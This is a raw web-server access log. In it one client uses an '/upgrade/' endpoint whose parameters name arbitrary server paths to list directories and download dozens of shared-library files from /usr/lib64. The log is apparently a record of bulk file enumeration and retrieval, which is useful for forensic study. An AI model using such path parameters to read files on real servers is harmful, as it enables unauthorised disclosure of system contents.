45.135.193.11 - - [11/Sep/2026:22:57:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssapi_krb5.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 259569 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgssapi_krb5.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131900 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibhwy.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 106102 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibldap-2.4.so.2.0.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtalloc.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 126019 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtalloc.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudev.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 198380 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibudev.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxshmfence.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 107595 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxshmfence.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 794806 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibX11.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmuu.so.1.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 111023 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXmuu.so.1.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstfft-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 122041 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgstfft-1.0.so.0.2212.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjavascriptcoregtk-4.0.so.18.29.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4322 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjavascriptcoregtk-4.0.so.18.29.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadb.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 236765 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadb.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:39 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrepo.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 185295 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibrepo.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:40 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fbind HTTP/1.1" 200 5735 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fbind" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamdb.so.0.0.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153193 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsamdb.so.0.0.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:40 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fhmaccalc HTTP/1.1" 200 6344 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fhmaccalc" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:40 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSM.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119189 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibSM.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdatrie.so.1.4.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 118037 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibdatrie.so.1.4.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsttag-1.0.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 216208 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgsttag-1.0.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbd.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 4301 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmariadbd.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:41 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnewt.so.0.52&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 149145 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnewt.so.0.52&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre32.so.0.0.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 283397 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre32.so.0.0.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaom.so.3.13.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 2135564 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibaom.so.3.13.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:42 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolord.so.2.0.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 252772 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcolord.so.2.0.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreetype.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 511135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfreetype.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:43 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-idiag-3.so.200&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 119011 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnl-idiag-3.so.200&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh2.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 241191 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibssh2.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiff.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 311837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtiff.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:44 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlicommon.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 174031 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbrotlicommon.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibirs.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 123195 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibirs.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:45 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_enc.so.2.0.2.3&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129184 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibldacBT_enc.so.2.0.2.3&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_mmv.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 116615 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcp_mmv.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:46 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatopology.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 160663 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibatopology.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdk-aac.so.2.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 426426 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibfdk-aac.so.2.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjasper.so.4.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 257763 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjasper.so.4.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:47 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopus.so.0.8.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 298896 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibopus.so.0.8.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:48 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibperl.so.5.32&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 1372390 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibperl.so.5.32&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:48 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fllvm HTTP/1.1" 200 5939 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fllvm" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_crypto.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 125400 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibbd_crypto.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcgraph.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 150691 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibcgraph.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil.so.18&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 115616 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgailutil.so.18&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:49 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuio.so.67&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 129316 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibicuio.so.67&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibini_config.so.5.2.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 153622 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibini_config.so.5.2.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:50 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjpeg.so.62&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 250290 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibjpeg.so.62&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient.a&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 264337 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmysqlclient.a&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrandr.so.2.2.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 124619 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2FlibXrandr.so.2.2.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:51 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibepoxy.so.0.0.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 421061 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibepoxy.so.0.0.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-3.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 3429541 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibgtk-3.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:52 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 192345 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibnvme.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:53 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-16.so&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 342500 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-16.so&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-8.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 362411 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibpcre2-8.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:54 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-res.so.0&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109141 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxcb-res.so.0&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxtables.so.12&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 131912 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxtables.so.12&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmagic.so.1&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 187956 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibmagic.so.1&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:55 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbc.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 303123 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibodbc.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsgutils2-1.47.so.2&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 210903 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibsgutils2-1.47.so.2&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:56 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtic.so.6&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 136485 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibtic.so.6&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_cgi.so.3.51&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 109111 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibxmlrpc_server_cgi.so.3.51&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:57 -0400] "GET /upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzstd.so.1.5.5&location=%2Fusr%2Flib64%2F HTTP/1.1" 200 429831 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Flib64%2F%2Flibzstd.so.1.5.5&location=%2Fusr%2Flib64%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:57:57 -0400] "GET /upgrade/?location=%2Fusr%2Flib64%2Fgnome-settings-daemon-3.0 HTTP/1.1" 200 5993 "http://163.245.207.76:443/upgrade/?location=%2Fusr%2Flib64%2Fgnome-settings-daemon-3.0" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
